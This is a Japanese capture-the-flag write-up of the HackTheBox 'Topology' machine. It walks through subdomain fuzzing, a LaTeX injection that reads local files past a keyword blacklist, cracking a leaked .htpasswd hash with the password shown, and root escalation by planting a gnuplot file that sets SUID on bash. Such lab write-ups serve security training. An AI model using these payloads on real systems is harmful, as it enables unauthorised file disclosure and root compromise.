🍏

【HackTheBox】Topology Writeup

2023/11/05に公開

Recon

nmap

┌──(kali㉿kali)-[~]
└─$ nmap -Pn 10.10.11.217    
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Website

port80にはこんなサイトがありました。

Inspect Subdomains

LaTex Equation Generatorのリンクはhttp://latex.topology.htb/equation.phpと書いてあったので、このサブドメインを/etc/hostsに追加します。
latex.topology.htbはLeTexの画像を作成できるページでした。

submitすると生成された画像がこういうふうに出てきます。

fuzzingで他の2つのサブドメインも見つかったので、これらも/etc/hostsに入れます。

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://topology.htb -H 'Host: FUZZ.topology.htb' -fs 6767
________________________________________________

dev                     [Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 936ms]
stats                   [Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 925ms]

dev.topology.htbは認証がないと見れません。

stats.topology.htbはサーバー負荷のモニタリングです。

latex.topology.htbにアクセスすると、サーバー上のファイルが見れます。ファイルの中身を確認したいと思います。

┌──(kali㉿kali)-[~]
└─$ cat equationtest.log 
This is pdfTeX, Version 3.14159265-2.6-1.40.20 (TeX Live 2019/Debian) (preloaded format=pdflatex 2022.2.15)  12 MAR 2022 08:48
entering extended mode
 restricted \write18 enabled.
 %&-line parsing enabled.

pdfTex version 3.14159265 exploitで検索すると色々出てきました。
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LaTeX Injection/README.md#latex-injection
https://0day.work/hacking-with-latex/
いい感じにpayloadを入れればLFIやRCEができたりするみたいです。試していきます。

LFI via LaTex

PayloadsAllTheThingsにあった\input{/etc/passwd}を入れてみると、Illegal command detectedが出てきました。何かのチェックに引っかかったみたいです。(You might need to adjust injection with wrappers as \[ or $.が書いてあったので$を入れてみましたが、結果は同じでした)

$\lstinputlisting{/etc/passwd}$を入れると/etc/passwdが見れました。vdais1eyというユーザーがいます。

blacklist charactersが気になるので、equation.phpのソースコードを見てみます。$\lstinputlisting{/var/www/latex/equation.php}$をsubmitすると生成されたpngにリダイレクトされなかったが、サーバー上のtmpfilesフォルダーの中にソースコードが入っているpngとpdfファイルがありました。

/var/www/latex/equation.php(一部)
<?php
//latex to png generator by daisley
//TODO:error handling
errorreporting(0);
if(empty($GET[’eqn’]))
{echo’…page content html’;}
else
{
$texinput=$GET[’eqn’];
#secure against common latex injections
$filterstrings=array(”\\begin”,”\\immediate”,”\\usepackage”,”\\input”,”\\write”,”\\loop”,”\\include,”\\@”,”\\while,”\\def”,”\\url”,”\\href”,”\\end”);
foreach($filterstringsas$filterstring){
if(stripos($texinput,$filterstring)!==FALSE){
$texinput=”\$Illegal Command Detected.Sorry.\$”;
break;
}
}
if(strlen($texinput)>=200){
$texinput=”\$Input Too Long.Sorry.\$”;
}
$errormsg=”Something Went Wrong.Sorry.;
//texfile content,insert default header and user input
$texsource=”\\documentclass{standalone}
\\input{../header}
\\begin{document}
$”.$texinput.”$”.”\\end{document};
//create random file name
$fileid=uniqid(rand(),true);
$texfilename=”tempfiles/.$fileid..tex”;
$texfile=fopen($texfilename,”w”);
fputs($texfile,$texsource);
fclose($texfile);
chdir(dirname($texfilename));
exec(”pdflatex”.basename($texfilename).>/dev/null2>&1);
exec(”convert−density300”.$fileid..pdf”.$fileid..png>/dev/null2>&1);
$fp=fopen($fileid..png”,’rb’);
header(”Content−Type:image/png”);
header(”Content−Length:.filesize($fileid..png”));
fpassthru($fp);
//delete temp image and logs
fclose($fp);
exec(”rm−f”.$fileid..*);
exec(”rm−f*.log”);
exit
}

元々はPayloadAllTheThingsに書いてあったRCEのコマンドを試したかったが、どれもblacklist通れなさそうです。RCEが難しそうなので、LFIをもうちょっと頑張った方がいい気がしてきました。
devサブドメインの.htpasswdを読めばbasic認証の情報がわかるかもしれないので、みてみます。$\lstinputlisting{/var/www/dev/.htpasswd}$でsubmitします。

vdaisleyのパスワードのhashがわかりました。

Hash cracking

┌──(kali㉿kali)-[~/topology]
└─$ echo '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash                                 
┌──(kali㉿kali)-[~/topology]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
calculus20       (?)     

パスワードがわかりました。

Shell as vdaisley

vdaisley:calculus20でsshログインできました。user flagゲットできました。

pspy

linpeasを実行してみましたが、それっぽい情報がなかったのでpspyでプロセスを見てみます。

2023/10/29 03:05:25 CMD: UID=0     PID=1      | /sbin/init 
2023/10/29 03:06:01 CMD: UID=0     PID=26211  | /usr/sbin/CRON -f 
2023/10/29 03:06:01 CMD: UID=0     PID=26210  | /usr/sbin/CRON -f 
2023/10/29 03:06:01 CMD: UID=0     PID=26212  | /bin/sh -c /opt/gnuplot/getdata.sh 
2023/10/29 03:06:01 CMD: UID=0     PID=26213  | /bin/sh -c /opt/gnuplot/getdata.sh 
2023/10/29 03:06:01 CMD: UID=0     PID=26218  | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \; 

ここらへんのgnuplotが気になります。/opt/gnuplot/*.pltを探してそのファイルを実行しているみたいです。

vdaisley@topology:/opt$ ls -la
total 12
drwxr-xr-x  3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx  2 root root 4096 Jun 14 07:45 gnuplot

/opt/gnuplotのread権限はないが、write権限はあります。priv escのpayloadが入っている.pltファイルを作ればrootとして実行してくれそうです。
gnuplot system command executionで調べてみます。system 'id'みたいな感じでいけそうです。
http://www.bersch.net/gnuplot-doc/system.html
ではbashにSUIDを設定します。少し待ったらSUIDが設定されました!

vdaisley@topology:/opt$ echo 'system "chmod 4777 /bin/bash"' > gnuplot/hack.plt
vdaisley@topology:/opt$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
vdaisley@topology:/opt$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1183448 Apr 18  2022 /bin/bash

Shell as root

vdaisley@topology:/opt$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt

root flag取れました!

memo

最初はLaTexのblacklistをbypassするために色々実験しててかなり時間かかりました。やっと仕事が落ち着いたのでまたwriteup書くの継続できそうです、うれしい。

Discussion